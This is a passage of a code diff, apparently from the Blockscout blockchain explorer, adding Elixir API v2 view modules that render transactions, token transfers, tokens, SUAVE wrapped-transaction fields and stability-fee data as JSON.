"dapp_address" => + Helper.address_with_info(nil, nil, Transaction.bytes_to_address_hash(dapp_address_hash), false), + "total_fee" => to_string(total_fee), + "dapp_fee" => to_string(dapp_fee), + "validator_fee" => to_string(validator_fee) + } + + out_json + |> Map.put("stability_fee", stability_fee) + + _ -> + out_json + end + end + + def transform_transactions(transactions) do + do_extend_with_stability_fees_info(transactions) + end + + defp do_extend_with_stability_fees_info(transactions) when is_list(transactions) do + {transactions, _tokens_acc} = + Enum.map_reduce(transactions, %{}, fn transaction, tokens_acc -> + case Log.fetch_log_by_transaction_hash_and_first_topic( + transaction.hash, + @transaction_fee_event_signature, + @api_true + ) do + fee_log when not is_nil(fee_log) -> + {:ok, _selector, mapping} = Log.find_and_decode(@transaction_fee_event_abi, fee_log, transaction.hash) + + [{"token", "address", false, token_address_hash}, _, _, _, _, _] = mapping + + {token, new_tokens_acc} = + check_tokens_acc(Transaction.bytes_to_address_hash(token_address_hash), tokens_acc) + + {%Transaction{transaction | transaction_fee_log: mapping, transaction_fee_token: token}, new_tokens_acc} + + _ -> + {transaction, tokens_acc} + end + end) + + transactions + end + + defp do_extend_with_stability_fees_info(transaction) do + [transaction] = do_extend_with_stability_fees_info([transaction]) + transaction + end + + defp check_tokens_acc(token_address_hash, tokens_acc) do + if Map.has_key?(tokens_acc, token_address_hash) do + {tokens_acc[token_address_hash], tokens_acc} + else + token = + Token.get_by_contract_address_hash(token_address_hash, + api?: true, + necessity_by_association: %{Reputation.reputation_association() => :optional} + ) + + {token, Map.put(tokens_acc, token_address_hash, token)} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/suave_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/suave_view.ex new file mode 100644 index 000000000000..88b55ea2d440 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/suave_view.ex @@ -0,0 +1,137 @@ +defmodule BlockScoutWeb.API.V2.SuaveView do + alias BlockScoutWeb.API.V2.Helper, as: APIHelper + alias BlockScoutWeb.API.V2.TransactionView + + alias Explorer.Helper, as: ExplorerHelper + + alias Ecto.Association.NotLoaded + alias Explorer.Chain.{Address, Hash, Transaction} + + @suave_bid_event "0x83481d5b04dea534715acad673a8177a46fc93882760f36bdc16ccac439d504e" + + def extend_transaction_json_response( + %Transaction{} = transaction, + out_json, + single_transaction?, + conn, + watchlist_names + ) do + if is_nil(Map.get(transaction, :execution_node_hash)) do + out_json + else + wrapped_to_address = Map.get(transaction, :wrapped_to_address) + wrapped_to_address_hash = Map.get(transaction, :wrapped_to_address_hash) + wrapped_input = Map.get(transaction, :wrapped_input) + wrapped_hash = Map.get(transaction, :wrapped_hash) + execution_node = Map.get(transaction, :execution_node) + execution_node_hash = Map.get(transaction, :execution_node_hash) + wrapped_type = Map.get(transaction, :wrapped_type) + wrapped_nonce = Map.get(transaction, :wrapped_nonce) + wrapped_gas = Map.get(transaction, :wrapped_gas) + wrapped_gas_price = Map.get(transaction, :wrapped_gas_price) + wrapped_max_priority_fee_per_gas = Map.get(transaction, :wrapped_max_priority_fee_per_gas) + wrapped_max_fee_per_gas = Map.get(transaction, :wrapped_max_fee_per_gas) + wrapped_value = Map.get(transaction, :wrapped_value) + + [wrapped_decoded_input] = + Transaction.decode_transactions( + [ + %Transaction{ + to_address: wrapped_to_address, + input: wrapped_input, + hash: wrapped_hash + } + ], + false, + api?: true + ) + + out_json + |> Map.put("allowed_peekers", suave_parse_allowed_peekers(transaction.logs)) + |> Map.put( + "execution_node", + APIHelper.address_with_info( + conn, + execution_node, + execution_node_hash, + single_transaction?, + watchlist_names + ) + ) + |> Map.put("wrapped", %{ + "type" => wrapped_type, + "nonce" => wrapped_nonce, + "to" => + APIHelper.address_with_info( + conn, + wrapped_to_address, + wrapped_to_address_hash, + single_transaction?, + watchlist_names + ), + "gas_limit" => wrapped_gas, + "gas_price" => wrapped_gas_price, + "fee" => + TransactionView.format_fee( + Transaction.fee( + %Transaction{gas: wrapped_gas, gas_price: wrapped_gas_price, gas_used: nil}, + :wei + ) + ), + "max_priority_fee_per_gas" => wrapped_max_priority_fee_per_gas, + "max_fee_per_gas" => wrapped_max_fee_per_gas, + "value" => wrapped_value, + "hash" => wrapped_hash, + "method" => + Transaction.method_name( + %Transaction{to_address: wrapped_to_address, input: wrapped_input}, + wrapped_decoded_input + ), + "decoded_input" => TransactionView.decoded_input(wrapped_decoded_input), + "raw_input" => wrapped_input + }) + end + end + + # @spec suave_parse_allowed_peekers(Ecto.Schema.has_many(Log.t())) :: [String.t()] + defp suave_parse_allowed_peekers(%NotLoaded{}), do: [] + + defp suave_parse_allowed_peekers(logs) do + suave_bid_contracts = + Application.get_all_env(:explorer)[Transaction][:suave_bid_contracts] + |> String.split(",") + |> Enum.map(fn sbc -> String.downcase(String.trim(sbc)) end) + + bid_event = + Enum.find(logs, fn log -> + sanitize_log_first_topic(log.first_topic) == @suave_bid_event && + Enum.member?(suave_bid_contracts, String.downcase(Hash.to_string(log.address_hash))) + end) + + if is_nil(bid_event) do + [] + else + [_bid_id, _decryption_condition, allowed_peekers] = + ExplorerHelper.decode_data(bid_event.data, [{:bytes, 16}, {:uint, 64}, {:array, :address}]) + + Enum.map(allowed_peekers, fn peeker -> + Address.checksum(peeker) + end) + end + end + + defp sanitize_log_first_topic(first_topic) do + if is_nil(first_topic) do + "" + else + sanitized = + if is_binary(first_topic) do + first_topic + else + Hash.to_string(first_topic) + end + + String.downcase(sanitized) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/token_transfer_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/token_transfer_view.ex new file mode 100644 index 000000000000..7420c4192948 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/token_transfer_view.ex @@ -0,0 +1,109 @@ +defmodule BlockScoutWeb.API.V2.TokenTransferView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.{Helper, TokenView, TransactionView} + alias BlockScoutWeb.Tokens.Helper, as: TokensHelper + alias Ecto.Association.NotLoaded + alias Explorer.Chain + alias Explorer.Chain.{TokenTransfer, Transaction} + + def render("token_transfer.json", %{token_transfer: nil}) do + nil + end + + def render("token_transfer.json", %{ + token_transfer: token_transfer, + decoded_transaction_input: decoded_transaction_input, + conn: conn + }) do + prepare_token_transfer(token_transfer, conn, decoded_transaction_input) + end + + def render("token_transfers.json", %{ + token_transfers: token_transfers, + decoded_transactions_map: decoded_transactions_map, + next_page_params: next_page_params, + conn: conn + }) do + %{ + "items" => + Enum.map( + token_transfers, + &render("token_transfer.json", %{ + token_transfer: &1, + decoded_transaction_input: &1.transaction && decoded_transactions_map[&1.transaction.hash], + conn: conn + }) + ), + "next_page_params" => next_page_params + } + end + + @doc """ + Prepares token transfer object to be returned in the API v2 endpoints. + """ + @spec prepare_token_transfer(TokenTransfer.t(), Plug.Conn.t() | nil, any()) :: map() + def prepare_token_transfer(token_transfer, _conn, decoded_input) do + %{ + "transaction_hash" => token_transfer.transaction_hash, + "from" => Helper.address_with_info(nil, token_transfer.from_address, token_transfer.from_address_hash, false), + "to" => Helper.address_with_info(nil, token_transfer.to_address, token_transfer.to_address_hash, false), + "total" => prepare_token_transfer_total(token_transfer), + "token" => TokenView.render("token.json", %{token: token_transfer.token}), + "type" => Chain.get_token_transfer_type(token_transfer), + "timestamp" => + if(match?(%NotLoaded{}, token_transfer.block), + do: TransactionView.block_timestamp(token_transfer.transaction), + else: TransactionView.block_timestamp(token_transfer.block) + ), + "method" => Transaction.method_name(token_transfer.transaction, decoded_input, true), + "block_hash" => to_string(token_transfer.block_hash), + "block_number" => token_transfer.block_number, + "log_index" => token_transfer.log_index, + "token_type" => token_transfer.token_type + } + end + + @doc """ + Prepares token transfer total value/id transferred to be returned in the API v2 endpoints. + """ + @spec prepare_token_transfer_total(TokenTransfer.t()) :: map() + # credo:disable-for-next-line /Complexity/ + def prepare_token_transfer_total(token_transfer) do + case TokensHelper.token_transfer_amount_for_api(token_transfer) do + {:ok, :erc721_instance} -> + %{ + "token_id" => token_transfer.token_ids && List.first(token_transfer.token_ids), + "token_instance" => + token_transfer.token_instance && + TokenView.prepare_token_instance(token_transfer.token_instance, token_transfer.token) + } + + {:ok, :erc1155_erc404_instance, value, decimals} -> + %{ + "token_id" => token_transfer.token_ids && List.first(token_transfer.token_ids), + "value" => value, + "decimals" => decimals, + "token_instance" => + token_transfer.token_instance && + TokenView.prepare_token_instance(token_transfer.token_instance, token_transfer.token) + } + + {:ok, :erc1155_erc404_instance, values, token_ids, decimals} -> + %{ + "token_id" => token_ids && List.first(token_ids), + "value" => values && List.first(values), + "decimals" => decimals, + "token_instance" => + token_transfer.token_instance && + TokenView.prepare_token_instance(token_transfer.token_instance, token_transfer.token) + } + + {:ok, value, decimals} -> + %{"value" => value, "decimals" => decimals} + + _ -> + nil + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/token_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/token_view.ex new file mode 100644 index 000000000000..e52a04a91613 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/token_view.ex @@ -0,0 +1,161 @@ +defmodule BlockScoutWeb.API.V2.TokenView do + use BlockScoutWeb, :view + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.API.V2.Helper + alias BlockScoutWeb.NFTHelper + alias Ecto.Association.NotLoaded + alias Explorer.Chain.{Address, BridgedToken} + alias Explorer.Chain.Token.Instance + + def render("token.json", %{token: nil = token, contract_address_hash: contract_address_hash}) do + %{ + "address_hash" => Address.checksum(contract_address_hash), + "symbol" => nil, + "name" => nil, + "decimals" => nil, + "type" => nil, + "holders_count" => nil, + "exchange_rate" => nil, + "volume_24h" => nil, + "total_supply" => nil, + "icon_url" => nil, + "circulating_market_cap" => nil, + "reputation" => nil + } + |> maybe_append_bridged_info(token) + end + + def render("token.json", %{token: nil}) do + nil + end + + def render("token.json", %{token: token}) do + %{ + "address_hash" => Address.checksum(token.contract_address_hash), + "symbol" => token.symbol, + "name" => token.name, + "decimals" => token.decimals, + "type" => token.type, + "holders_count" => prepare_holders_count(token.holder_count), + "exchange_rate" => exchange_rate(token), + "volume_24h" => token.volume_24h, + "total_supply" => token.total_supply, + "icon_url" => token.icon_url, + "circulating_market_cap" => token.circulating_market_cap, + "reputation" => token.reputation + } + |> maybe_append_bridged_info(token) + |> chain_type_fields(%{address: token.contract_address, field_prefix: nil}) + end + + def render("token_holders.json", %{ + token_balances: token_balances, + next_page_params: next_page_params + }) do + %{ + "items" => Enum.map(token_balances, &prepare_token_holder(&1)), + "next_page_params" => next_page_params + } + end + + def render("token_instance.json", %{token_instance: token_instance, token: token}) do + prepare_token_instance(token_instance, token) + end + + def render("tokens.json", %{tokens: tokens, next_page_params: next_page_params}) do + %{"items" => Enum.map(tokens, &render("token.json", %{token: &1})), "next_page_params" => next_page_params} + end + + def render("token_instances.json", %{ + token_instances: token_instances, + next_page_params: next_page_params, + token: token + }) do + %{ + "items" => Enum.map(token_instances, &render("token_instance.json", %{token_instance: &1, token: token})), + "next_page_params" => next_page_params + } + end + + def render("bridged_tokens.json", %{tokens: tokens, next_page_params: next_page_params}) do + %{"items" => Enum.map(tokens, &render("bridged_token.json", %{token: &1})), "next_page_params" => next_page_params} + end + + def render("bridged_token.json", %{token: {token, bridged_token}}) do + "token.json" + |> render(%{token: token}) + |> Map.merge(%{ + foreign_address: Address.checksum(bridged_token.foreign_token_contract_address_hash), + bridge_type: bridged_token.type, + origin_chain_id: bridged_token.foreign_chain_id + }) + end + + def exchange_rate(%{fiat_value: fiat_value}) when not is_nil(fiat_value), do: to_string(fiat_value) + def exchange_rate(_), do: nil + + defp prepare_token_holder(token_balance) do + %{ + "address" => Helper.address_with_info(nil, token_balance.address, token_balance.address_hash, false), + "value" => token_balance.value, + "token_id" => token_balance.token_id + } + end + + @doc """ + Internal json rendering function + """ + def prepare_token_instance(instance, token) do + %{ + "id" => instance.token_id, + "metadata" => instance.metadata, + "owner" => token_instance_owner(instance.is_unique, instance), + "token" => render("token.json", %{token: token}), + "external_app_url" => NFTHelper.external_url(instance), + "animation_url" => instance.metadata && NFTHelper.retrieve_image(instance.metadata["animation_url"]), + "image_url" => instance.metadata && NFTHelper.get_media_src(instance.metadata, false), + "is_unique" => instance.is_unique, + "thumbnails" => instance.thumbnails, + "media_type" => instance.media_type, + "media_url" => Instance.get_media_url_from_metadata_for_nft_media_handler(instance.metadata) + } + end + + defp token_instance_owner(false, _instance), do: nil + defp token_instance_owner(nil, _instance), do: nil + + defp token_instance_owner(_is_unique, %Instance{owner: %NotLoaded{}} = instance), + do: Helper.address_with_info(nil, nil, instance.owner_address_hash, false) + + defp token_instance_owner(_is_unique, %Instance{owner: nil} = instance), + do: Helper.address_with_info(nil, nil, instance.owner_address_hash, false) + + defp token_instance_owner(_is_unique, instance), + do: instance.owner && Helper.address_with_info(nil, instance.owner, instance.owner.hash, false) + + defp prepare_holders_count(nil), do: nil + defp prepare_holders_count(count) when count < 0, do: prepare_holders_count(0) + defp prepare_holders_count(count), do: to_string(count) + + defp maybe_append_bridged_info(map, token) do + if BridgedToken.enabled?() do + (token && Map.put(map, "is_bridged", token.bridged || false)) || map + else + map + end + end + + case @chain_type do + :filecoin -> + defp chain_type_fields(result, params) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.FilecoinView.put_filecoin_robust_address(result, params) + end + + _ -> + defp chain_type_fields(result, _params) do + result + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/transaction_view.ex new file mode 100644 index 000000000000..19ef782e459c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/transaction_view.ex @@ -0,0 +1,967 @@ +defmodule BlockScoutWeb.API.V2.TransactionView do + use BlockScoutWeb, :view + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.API.V2.{ApiView, Helper, InternalTransactionView, TokenTransferView, TokenView} + + alias BlockScoutWeb.Models.GetTransactionTags + alias BlockScoutWeb.{TransactionStateView, TransactionView} + alias Ecto.Association.NotLoaded + alias Explorer.{Chain, Market} + + alias Explorer.Chain.{ + Address, + Block, + DecodingHelper, + Log, + SignedAuthorization, + SmartContract, + Token, + Transaction, + Wei + } + + alias Explorer.Chain.Block.Reward + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation, as: ProxyImplementation + alias Explorer.Chain.Transaction.StateChange + alias Timex.Duration + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + @api_true [api?: true] + + def render("message.json", assigns) do + ApiView.render("message.json", assigns) + end + + def render("transactions_watchlist.json", %{ + transactions: transactions, + next_page_params: next_page_params, + conn: conn, + watchlist_names: watchlist_names + }) do + block_height = Chain.block_height(@api_true) + decoded_transactions = Transaction.decode_transactions(transactions, true, @api_true) + + %{ + "items" => + transactions + |> with_chain_type_transformations() + |> Enum.zip(decoded_transactions) + |> Enum.map(fn {transaction, decoded_input} -> + prepare_transaction(transaction, conn, false, block_height, watchlist_names, decoded_input) + end), + "next_page_params" => next_page_params + } + end + + def render("transactions_watchlist.json", %{ + transactions: transactions, + conn: conn, + watchlist_names: watchlist_names + }) do + block_height = Chain.block_height(@api_true) + decoded_transactions = Transaction.decode_transactions(transactions, true, @api_true) + + transactions + |> with_chain_type_transformations() + |> Enum.zip(decoded_transactions) + |> Enum.map(fn {transaction, decoded_input} -> + prepare_transaction(transaction, conn, false, block_height, watchlist_names, decoded_input) + end) + end + + def render("transactions.json", %{transactions: transactions, next_page_params: next_page_params, conn: conn}) do + block_height = Chain.block_height(@api_true) + decoded_transactions = Transaction.decode_transactions(transactions, true, @api_true) + + %{ + "items" => + transactions + |> with_chain_type_transformations() + |> Enum.zip(decoded_transactions) + |> Enum.map(fn {transaction, decoded_input} -> + prepare_transaction(transaction, conn, false, block_height, decoded_input) + end), + "next_page_params" => next_page_params + } + end + + def render("transactions.json", %{transactions: transactions, items: true, conn: conn}) do + %{ + "items" => render("transactions.json", %{transactions: transactions, conn: conn}) + } + end + + def render("transactions.json", %{transactions: transactions, conn: conn}) do + block_height = Chain.block_height(@api_true) + decoded_transactions = Transaction.decode_transactions(transactions, true, @api_true) + + transactions + |> with_chain_type_transformations() + |> Enum.zip(decoded_transactions) + |> Enum.map(fn {transaction, decoded_input} -> + prepare_transaction(transaction, conn, false, block_height, decoded_input) + end) + end + + def render("transaction.json", %{transaction: transaction, conn: conn}) do + block_height = Chain.block_height(@api_true) + [decoded_input] = Transaction.decode_transactions([transaction], false, @api_true) + + transaction + |> with_chain_type_transformations() + |> prepare_transaction(conn, true, block_height, decoded_input) + end + + def render("raw_trace.json", %{raw_traces: raw_traces}) do + raw_traces + end + + def render("decoded_log_input.json", %{method_id: method_id, text: text, mapping: mapping}) do + %{"method_id" => method_id, "method_call" => text, "parameters" => prepare_log_mapping(mapping)} + end + + def render("decoded_input.json", %{method_id: method_id, text: text, mapping: mapping, error?: _error}) do + %{"method_id" => method_id, "method_call" => text, "parameters" => prepare_method_mapping(mapping)} + end + + def render("revert_reason.json", %{raw: raw}) do + %{"raw" => raw} + end + + def render("token_transfers.json", %{token_transfers: token_transfers, next_page_params: next_page_params, conn: conn}) do + decoded_transactions = + Transaction.decode_transactions(Enum.map(token_transfers, fn tt -> tt.transaction end), true, @api_true) + + %{ + "items" => + token_transfers + |> Enum.zip(decoded_transactions) + |> Enum.map(fn {tt, decoded_input} -> TokenTransferView.prepare_token_transfer(tt, conn, decoded_input) end), + "next_page_params" => next_page_params + } + end + + def render("token_transfers.json", %{token_transfers: token_transfers, conn: conn}) do + decoded_transactions = + Transaction.decode_transactions(Enum.map(token_transfers, fn tt -> tt.transaction end), true, @api_true) + + token_transfers + |> Enum.zip(decoded_transactions) + |> Enum.map(fn {tt, decoded_input} -> TokenTransferView.prepare_token_transfer(tt, conn, decoded_input) end) + end + + def render("token_transfer.json", %{token_transfer: token_transfer, conn: conn}) do + [decoded_transaction] = Transaction.decode_transactions([token_transfer.transaction], true, @api_true) + TokenTransferView.prepare_token_transfer(token_transfer, conn, decoded_transaction) + end + + def render("transaction_actions.json", %{actions: actions}) do + Enum.map(actions, &prepare_transaction_action(&1)) + end + + def render("internal_transactions.json", %{ + internal_transactions: internal_transactions, + next_page_params: next_page_params, + block: block + }) do + %{ + "items" => Enum.map(internal_transactions, &InternalTransactionView.prepare_internal_transaction(&1, block)), + "next_page_params" => next_page_params + } + end + + def render("internal_transactions.json", %{ + internal_transactions: internal_transactions, + next_page_params: next_page_params + }) do + %{ + "items" => Enum.map(internal_transactions, &InternalTransactionView.prepare_internal_transaction(&1)), + "next_page_params" => next_page_params + } + end + + def render("logs.json", %{logs: logs, next_page_params: next_page_params, transaction_hash: transaction_hash}) do + decoded_logs = decode_logs(logs, false) + + %{ + "items" => + logs + |> Enum.zip(decoded_logs) + |> Enum.map(fn {log, decoded_log} -> prepare_log(log, transaction_hash, decoded_log) end), + "next_page_params" => next_page_params + } + end + + def render("logs.json", %{logs: logs, next_page_params: next_page_params}) do + decoded_logs = decode_logs(logs, false) + + %{ + "items" => + logs + |> Enum.zip(decoded_logs) + |> Enum.map(fn {log, decoded_log} -> prepare_log(log, log.transaction, decoded_log) end), + "next_page_params" => next_page_params + } + end + + def render("state_changes.json", %{state_changes: state_changes, next_page_params: next_page_params}) do + %{ + "items" => Enum.map(state_changes, &prepare_state_change(&1)), + "next_page_params" => next_page_params + } + end + + def render("stats.json", %{ + transactions_count_24h: transactions_count, + pending_transactions_count: pending_transactions_count, + transaction_fees_sum_24h: transaction_fees_sum, + transaction_fees_avg_24h: transaction_fees_avg + }) do + %{ + "transactions_count_24h" => transactions_count, + "pending_transactions_count" => pending_transactions_count, + "transaction_fees_sum_24h" => transaction_fees_sum, + "transaction_fees_avg_24h" => transaction_fees_avg + } + end + + def render("authorization_list.json", %{signed_authorizations: signed_authorizations}) do + signed_authorizations + |> Enum.sort_by(& &1.index, :asc) + |> Enum.map(&prepare_signed_authorization/1) + end + + @doc """ + Returns the ABI of a smart contract or an empty list if the smart contract is nil + """ + @spec try_to_get_abi(SmartContract.t() | nil) :: [map()] + def try_to_get_abi(smart_contract) do + (smart_contract && smart_contract.abi) || [] + end + + @doc """ + Returns the ABI of a proxy implementations or an empty list if the proxy implementations is nil + """ + @spec extract_implementations_abi(ProxyImplementation.t() | nil) :: [map()] + def extract_implementations_abi(nil) do + [] + end + + def extract_implementations_abi(proxy_implementations) do + proxy_implementations.smart_contracts + |> Enum.flat_map(fn smart_contract -> + try_to_get_abi(smart_contract) + end) + end + + @doc """ + Decodes list of logs + """ + @spec decode_logs([Log.t()], boolean()) :: [tuple() | nil] + def decode_logs(logs, skip_sig_provider?) do + full_abi_per_address_hash = + Enum.reduce(logs, %{}, fn log, acc -> + full_abi = + (extract_implementations_abi(log.address.proxy_implementations) ++ + try_to_get_abi(log.address.smart_contract)) + |> Enum.uniq() + + Map.put(acc, log.address_hash, full_abi) + end) + + {all_logs, _} = + Enum.reduce(logs, {[], %{}}, fn log, {results, events_acc} -> + {result, events_acc} = + Log.decode( + log, + %Transaction{hash: log.transaction_hash}, + @api_true, + skip_sig_provider?, + true, + full_abi_per_address_hash[log.address_hash], + events_acc + ) + + {[result | results], events_acc} + end) + + all_logs_with_index = + all_logs + |> Enum.reverse() + |> Enum.with_index(fn element, index -> {index, element} end) + + %{ + :already_decoded_or_ignored_logs => already_decoded_or_ignored_logs, + :input_for_sig_provider_batched_request => input_for_sig_provider_batched_request + } = + all_logs_with_index + |> Enum.reduce( + %{ + :already_decoded_or_ignored_logs => [], + :input_for_sig_provider_batched_request => [] + }, + fn {index, result}, acc -> + case result do + {:error, :try_with_sig_provider, {log, _transaction_hash}} when is_nil(log.first_topic) -> + Map.put(acc, :already_decoded_or_ignored_logs, [ + {index, {:error, :could_not_decode}} | acc.already_decoded_or_ignored_logs + ]) + + {:error, :try_with_sig_provider, {log, transaction_hash}} -> + Map.put(acc, :input_for_sig_provider_batched_request, [ + {index, + %{ + :log => log, + :transaction_hash => transaction_hash + }} + | acc.input_for_sig_provider_batched_request + ]) + + _ -> + Map.put(acc, :already_decoded_or_ignored_logs, [{index, result} | acc.already_decoded_or_ignored_logs]) + end + end + ) + + decoded_with_sig_provider_logs = + Log.decode_events_batch_via_sig_provider(input_for_sig_provider_batched_request, skip_sig_provider?) + + full_logs = already_decoded_or_ignored_logs ++ decoded_with_sig_provider_logs + + full_logs + |> Enum.sort_by(fn {index, _log} -> index end, :asc) + |> Enum.map(fn {_index, log} -> + format_decoded_log_input(log) + end) + end + + def prepare_transaction_action(action) do + %{ + "protocol" => action.protocol, + "type" => action.type, + "data" => action.data + } + end + + def prepare_log(log, transaction_or_hash, decoded_log, tags_for_address_needed? \\ false) do + decoded = process_decoded_log(decoded_log) + + %{ + "transaction_hash" => get_transaction_hash(transaction_or_hash), + "address" => Helper.address_with_info(nil, log.address, log.address_hash, tags_for_address_needed?), + "topics" => [ + log.first_topic, + log.second_topic, + log.third_topic, + log.fourth_topic + ], + "data" => log.data, + "index" => log.index, + "decoded" => decoded, + "smart_contract" => smart_contract_info(transaction_or_hash), + "block_number" => log.block_number, + "block_hash" => log.block_hash + } + end + + @doc """ + Extracts the necessary fields from the signed authorization for the API response. + + ## Parameters + - `signed_authorization`: A `SignedAuthorization.t()` struct containing the signed authorization data. + + ## Returns + - A map with the necessary fields for the API response. + """ + @spec prepare_signed_authorization(SignedAuthorization.t()) :: map() + def prepare_signed_authorization(signed_authorization) do + %{ + "address_hash" => Address.checksum(signed_authorization.address), + "chain_id" => signed_authorization.chain_id, + "nonce" => signed_authorization.nonce, + "r" => signed_authorization.r, + "s" => signed_authorization.s, + "v" => signed_authorization.v, + "authority" => Address.checksum(signed_authorization.authority), + "status" => signed_authorization.status + } + end + + defp get_transaction_hash(%Transaction{} = transaction), do: to_string(transaction.hash) + defp get_transaction_hash(hash), do: to_string(hash) + + defp smart_contract_info(%Transaction{} = transaction), + do: Helper.address_with_info(nil, transaction.to_address, transaction.to_address_hash, false) + + defp smart_contract_info(_), do: nil + + defp process_decoded_log(decoded_log) do + case decoded_log do + {:ok, method_id, text, mapping} -> + render(__MODULE__, "decoded_log_input.json", method_id: method_id, text: text, mapping: mapping) + + _ -> + nil + end + end + + defp prepare_transaction(transaction, conn, single_transaction?, block_height, watchlist_names \\ nil, decoded_input) + + defp prepare_transaction( + {%Reward{} = emission_reward, %Reward{} = validator_reward}, + conn, + single_transaction?, + _block_height, + _watchlist_names, + _decoded_input + ) do + %{ + "emission_reward" => emission_reward.reward, + "block_hash" => validator_reward.block_hash, + "from" => + Helper.address_with_info( + single_transaction? && conn, + emission_reward.address, + emission_reward.address_hash, + single_transaction? + ), + "to" => + Helper.address_with_info( + single_transaction? && conn, + validator_reward.address, + validator_reward.address_hash, + single_transaction? + ), + "types" => [:reward] + } + end + + defp prepare_transaction( + %Transaction{} = transaction, + conn, + single_transaction?, + block_height, + watchlist_names, + decoded_input + ) do + base_fee_per_gas = transaction.block && transaction.block.base_fee_per_gas + max_priority_fee_per_gas = transaction.max_priority_fee_per_gas + max_fee_per_gas = transaction.max_fee_per_gas + + priority_fee_per_gas = Transaction.priority_fee_per_gas(max_priority_fee_per_gas, base_fee_per_gas, max_fee_per_gas) + + burnt_fees = burnt_fees(transaction, max_fee_per_gas, base_fee_per_gas) + + status = transaction |> Chain.transaction_to_status() |> format_status() + + revert_reason = revert_reason(status, transaction, single_transaction?) + + decoded_input_data = decoded_input(decoded_input) + + result = %{ + "hash" => transaction.hash, + "result" => status, + "status" => transaction.status, + "block_number" => transaction.block_number, + "timestamp" => block_timestamp(transaction), + "from" => + Helper.address_with_info( + single_transaction? && conn, + transaction.from_address, + transaction.from_address_hash, + single_transaction?, + watchlist_names + ), + "to" => + Helper.address_with_info( + single_transaction? && conn, + transaction.to_address, + transaction.to_address_hash, + single_transaction?, + watchlist_names + ), + "created_contract" => + Helper.address_with_info( + single_transaction? && conn, + transaction.created_contract_address, + transaction.created_contract_address_hash, + single_transaction?, + watchlist_names + ), + "confirmations" => transaction.block |> Chain.confirmations(block_height: block_height) |> format_confirmations(), + "confirmation_duration" => processing_time_duration(transaction), + "value" => transaction.value, + "fee" => transaction |> Transaction.fee(:wei) |> format_fee(), + "gas_price" => transaction.gas_price || Transaction.effective_gas_price(transaction), + "type" => transaction.type, + "gas_used" => transaction.gas_used, + "gas_limit" => transaction.gas, + "max_fee_per_gas" => transaction.max_fee_per_gas, + "max_priority_fee_per_gas" => transaction.max_priority_fee_per_gas, + "base_fee_per_gas" => base_fee_per_gas, + "priority_fee" => priority_fee_per_gas && Wei.mult(priority_fee_per_gas, transaction.gas_used), + "transaction_burnt_fee" => burnt_fees, + "nonce" => transaction.nonce, + "position" => transaction.index, + "revert_reason" => revert_reason, + "raw_input" => transaction.input, + "decoded_input" => decoded_input_data, + "token_transfers" => token_transfers(transaction.token_transfers, conn, single_transaction?), + "token_transfers_overflow" => token_transfers_overflow(transaction.token_transfers, single_transaction?), + "actions" => transaction_actions(transaction.transaction_actions), + "exchange_rate" => Market.get_coin_exchange_rate().fiat_value, + "historic_exchange_rate" => + Market.get_coin_exchange_rate_at_date(block_timestamp(transaction), @api_true).fiat_value, + "method" => Transaction.method_name(transaction, decoded_input), + "transaction_types" => transaction_types(transaction), + "transaction_tag" => + GetTransactionTags.get_transaction_tags(transaction.hash, current_user(single_transaction? && conn)), + "has_error_in_internal_transactions" => transaction.has_error_in_internal_transactions, + "authorization_list" => authorization_list(transaction.signed_authorizations), + "is_pending_update" => transaction.block && transaction.block.refetch_needed + } + + result + |> with_chain_type_fields(transaction, single_transaction?, conn, watchlist_names) + end + + def token_transfers(_, _conn, false), do: nil + def token_transfers(%NotLoaded{}, _conn, _), do: nil + + def token_transfers(token_transfers, conn, _) do + render("token_transfers.json", %{ + token_transfers: Enum.take(token_transfers, Chain.get_token_transfers_per_transaction_preview_count()), + conn: conn + }) + end + + def token_transfers_overflow(_, false), do: nil + def token_transfers_overflow(%NotLoaded{}, _), do: false + + def token_transfers_overflow(token_transfers, _), + do: Enum.count(token_transfers) > Chain.get_token_transfers_per_transaction_preview_count() + + def transaction_actions(%NotLoaded{}), do: [] + + @doc """ + Renders transaction actions + """ + def transaction_actions(actions) do + render("transaction_actions.json", %{actions: actions}) + end + + @doc """ + Renders the authorization list for a transaction. + + ## Parameters + - `signed_authorizations`: A list of `SignedAuthorization.t()` structs. + + ## Returns + - A list of maps with the necessary fields for the API response. + """ + @spec authorization_list(nil | NotLoaded.t() | [SignedAuthorization.t()]) :: [map()] + def authorization_list(nil), do: [] + def authorization_list(%NotLoaded{}), do: [] + + def authorization_list(signed_authorizations) do + render("authorization_list.json", %{signed_authorizations: signed_authorizations}) + end + + defp burnt_fees(transaction, max_fee_per_gas, base_fee_per_gas) do + if !is_nil(max_fee_per_gas) and !is_nil(transaction.gas_used) and !is_nil(base_fee_per_gas) do + if Decimal.compare(max_fee_per_gas.value, 0) == :eq do + %Wei{value: Decimal.new(0)} + else + Wei.mult(base_fee_per_gas, transaction.gas_used) + end + else + nil + end + end + + defp revert_reason(status, transaction, single_transaction?) do + reverted? = is_binary(status) && status |> String.downcase() |> String.contains?("reverted") + + cond do + reverted? && single_transaction? -> + prepare_revert_reason_for_single_transaction(transaction) + + reverted? && !single_transaction? -> + %Transaction{revert_reason: revert_reason} = transaction + render(__MODULE__, "revert_reason.json", raw: revert_reason) + + true -> + nil + end + rescue + _ -> + nil + end + + 